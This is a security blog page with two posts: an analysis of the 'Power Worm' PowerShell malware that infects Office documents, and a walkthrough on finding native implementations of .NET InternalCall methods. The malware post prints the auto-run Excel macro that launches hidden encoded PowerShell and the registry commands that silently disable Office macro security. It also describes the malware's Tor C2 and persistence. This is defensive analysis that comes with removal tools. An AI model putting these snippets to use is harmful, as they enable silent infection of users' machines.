Saturday, April 5, 2014

Analyzing the "Power Worm" PowerShell-based Malware

On March 27, 2014, Trend Micro revealed the so called “Power Worm” PowerShell-based malware that is actively being used in the wild. With so few publicly reported instances of PowerShell malware in existence, I was excited to get my hands on this most recent strain of PowerShell-based malware. Unable to track it down on my own, I reached out to the security and PowerShell communities. It was with great relief that my friend Lee Holmes – PowerShell developer extraordinaire and author of the Windows PowerShell Cookbook kindly provided me with all of the samples described in the Trend Micro post.

While the Trend Micro post was thorough in its coverage of the broader capabilities of the malware, they did not provide an analysis of its implementation which, as a PowerShell enthusiast and malware analyst, I was very interested in. That said, what follows is my analysis of the mechanics of the Office document infecting malware. Since there were multiple payloads associated with “Power Worm.” I decided to focus on the X97M_CRIGENT.A payload – a malicious Excel spreadsheet.

The targeted Excel macro used in the "Power Worm" campaign

The spreadsheet contains the following macro:

Private Sub Workbook_Open()
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub

People have asked, “Wouldn’t the PowerShell execution policy potentially mitigate this attack?” No. First of all, the execution policy should not be viewed as a security mitigation considering PowerShell itself provides the mechanism to bypass it. Second, the execution policy is not honored when a Base64 encoded command is provided to the ‘-EncodedCommand’ parameter. Malware authors know this and will never run into a situation where the execution policy is the reason their malicious PowerShell code was prevented from executing. Having macros disabled by default prevents the initial infection, but all it takes is a na├»ve victim to click a single button to enable macros.

The ‘Workbook_Open’ function will execute automatically upon opening an Excel spreadsheet (assuming macros are allowed to execute). After decoding the Base64-encoded PowerShell command, you will be presented with an obfuscated mess consisting of the following:

  1. The payload is a single line of semicolon delimited PowerShell commands.
  2. Junk strings that have no impact on the script are inserted between each command.
  3. All variables and function names are randomly generated and have no logical meaning.
  4. Lastly, some functions used in the script are not implemented until a subsequent payload is downloaded from the command and control (C2) server.

I rewrote all of the “Power Worm” malware (redacting key portions) that I was able to obtain so that those interested don’t have to be bogged down with difficult to understand obfuscated code. I also created a PowerWorm GitHub repo where you will find the following code:

  1. The rewritten X97M_CRIGENT.A PowerShell payloads (5 parts in total)
  2. Test-PowerWormInfection – Detects and removes a “Power Worm” infection
  3. Get-ExcelMacro – Outputs and removes Excel spreadsheet macros
  4. Get-WordMacro – Outputs and removes Word document macros

As soon as the macro executes and launches PowerShell, the following code is executed:

  1. Suppress error messages.
  2. Obtain the machine GUID with WMI. This unique value specific to your system is used throughout the malware as a directory name to store downloaded files, registry key names where additional payload are persisted, and as a unique identifier for the C2 server.
  3. Next, If the malware is already persistent in the registry, don’t bother running the payload again. It will execute again at next reboot.
  4. Define a function to resolve DNS TXT records and download and decompress a zip file located at the URI in the resolved TXT record. Both Tor and Polipo are downloaded via this function.
  5. Mark the downloaded file directory as hidden.

The next portion of the payload executes tor and polipo, a requirement for communicating with the C2 server and downloads and executes the next stage of the attack:

For those unfamiliar with common malware techniques, what should be worrisome about the fact that additional PowerShell code is downloaded and executed is that the malware authors have complete control over the downloaded content. The analysis that follows describes the instance of the malware that I downloaded. The malware authors could very well change the payload at any time.

The downloaded payload starts by persisting three additional Base64-encoded payloads to the registry.

The Trend Micro article neglected to mention the two payloads saved in the registry at the following locations:

HKCU:\Software\Microsoft -> {Machine GUID}0
HKCU:\Software\Microsoft -> {Machine GUID}1

$EncodedPayload1 and $EncodedPayload2 are essentially equivalent to the initial payload included in the Excel macro – they serve to reinfect the system and download/execute any additional payloads. $EncodedPayload3 contains all the logic to infect Office documents.

The malware then collects information about the compromised system and uploads it to the C2 server. 

Finally, the Office document infection functions are called and if an additional payload is available, it is executed. I was unable to retrieve the additional payload during my analysis.

The Office document infection payload implements the following functions:

  1. Start-NewDriveInfection – Registers a WMI event that detects when a new drive is added (e.g. USB thumb drive) and infects all Office documents present on the drive
  2. Invoke-OfficeDocInfection – Infects all Office documents on the drive letter specified
  3. Start-ExistingDriveInfection – Registers a FileSystemWatcher event to detect and infect newly created Office documents
  4. Set-OfficeDocPayload – Adds a macro to the specified Office document
  5. New-MaliciousMacroPayload – Generates a macro based upon one of the payloads present in the registry
  6. Set-ExcelDocumentMacroPayload – Infects an Excel spreadsheet
  7. Set-WordDocumentMacroPayload – Infects a Word document

In order to programmatically create/modify/remove Excel and Word macros, macro security must be disabled in the registry with these commands:

Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name AccessVBOM -Type DWORD -Value 1
Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name VBAWarnings -Type DWORD -Value 1 

After the registry values are set, you will no longer be prompted to enable macros. They will execute automatically without your knowledge. Also, be mindful that if a macro is present in an Office document and you attempt to analyze it with the Word.Application and Excel.Application COM objects, the macro security settings are not honored and the macro will execute without your permission. Before opening an Office document with the COM objects, you must explicitly disallow the execution of macros by setting the ‘AutomationSecurity’ property to ‘msoAutomationSecurityForceDisable’.

The Word document infector is implemented as follows:

What’s interesting is that once the macro is written to the Word document, it is downgraded to a ‘macro-enabled’ .doc file.

Once a document or spreadsheet is infected, it will download and execute another PowerShell payload. I was unable to successfully download any additional payloads during my analysis. Either I was not emulating C2 communication properly or the payload was not made available at the time.

So in the end, I was rather impressed by the effectiveness of which the PowerShell payloads infected Office documents. It has yet to be seen though the true power of this malware until additional malicious payloads can be downloaded from the C2 server.

Should you become the victim of a “Power Worm” infection or any malicious Office document for that matter, I’ve provided tools to detect and remove “Power Worm” and Word/Excel macros. You can download these tools from my Github repo.

Saturday, November 16, 2013

Reverse Engineering InternalCall Methods in .NET

Often times, when attempting to reverse engineer a particular .NET method, I will hit a wall because I’ll dig in far enough into the method’s implementation that I’ll reach a private method marked [MethodImpl(MethodImplOptions.InternalCall)]. For example, I was interested in seeing how the .NET framework loads PE files in memory via a byte array using the System.Reflection.Assembly.Load(Byte[]) method. When viewed in ILSpy (my favorite .NET decompiler), it will show the following implementation:
So the first thing it does is check to see if you’re allowed to load a PE image in the first place via the CheckLoadByteArraySupported method. Basically, if the executing assembly is a tile app, then you will not be allowed to load a PE file as a byte array. It then calls the RuntimeAssembly.nLoadImage method. If you click on this method in ILSpy, you will be disappointed to find that there does not appear to be a managed implementation.
As you can see, all you get is a method signature and an InternalCall property. To begin to understand how we might be able reverse engineer this method, we need to know the definition of InternalCall. According to MSDN documentation, InternalCall refers to a method call that “is internal, that is, it calls a method that is implemented within the common language runtime.” So it would seem likely that this method is implemented as a native function in clr.dll. To validate my assumption, let’s use Windbg with sos.dll – the managed code debugger extension. My goal using Windbg will be to determine the native pointer for the nLoadImage method and see if it jumps to its respective native function in clr.dll. I will attach Windbg to PowerShell since PowerShell will make it easy to get the information needed by the SOS debugger extension. The first thing I need to do is get the metadata token for the nLoadImage method. This will be used in Windbg to resolve the method.
As you can see, the Get-ILDisassembly function in PowerSploit conveniently provides the metadata token for the nLoadImage method. Now on to Windbg for further analysis…
The following commands were executed:
1) .loadby sos clr
Load the SOS debugging extension from the directory that clr.dll is loaded from
2) !Token2EE mscorlib.dll 0x0600278C
Retrieves the MethodDesc of the nLoadImage method. The first argument (mscorlib.dll) is the module that implements the nLoadImage method and the hex number is the metadata token retrieved from PowerShell.
3) !DumpMD 0x634381b0
I then dump information about the MethodDesc. This will give the address of the method table for the object that implements nLoadImage
4) !DumpMT -MD 0x636e42fc
This will dump all of the methods for the System.Reflection.RuntimeAssembly class with their respective native entry point. nLoadImage has the following entry:
635910a0 634381b0   NONE System.Reflection.RuntimeAssembly.nLoadImage(Byte[], Byte[], System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef, Boolean, System.Security.SecurityContextSource)
So the native address for nLoadImage is 0x635910a0. Now, set a breakpoint on that address, let the program continue execution and use PowerShell to call the Load method on a bogus PE byte array.
PS C:\> [Reflection.Assembly]::Load(([Byte[]]@(1,2,3)))
You’ll then hit your breakpoint in WIndbg and if you disassemble from where you landed, the function that implements the nLoadImage method will be crystal clear – clr!AssemblyNative::LoadImage
You can now use IDA for further analysis and begin digging into the actual implementation of this InternalCall method!
After digging into some of the InternalCall methods in IDA you’ll quickly see that most functions use the fastcall convention. In x86, this means that a static function will pass its first two arguments via ECX and EDX. If it’s an instance function, the ‘this’ pointer will be passed via ECX (as is standard in thiscall) and its first argument via EDX. Any remaining arguments are pushed onto the stack.
So for the handful of people that have wondered where the implementation for an InternalCall method lies, I hope this post has been helpful.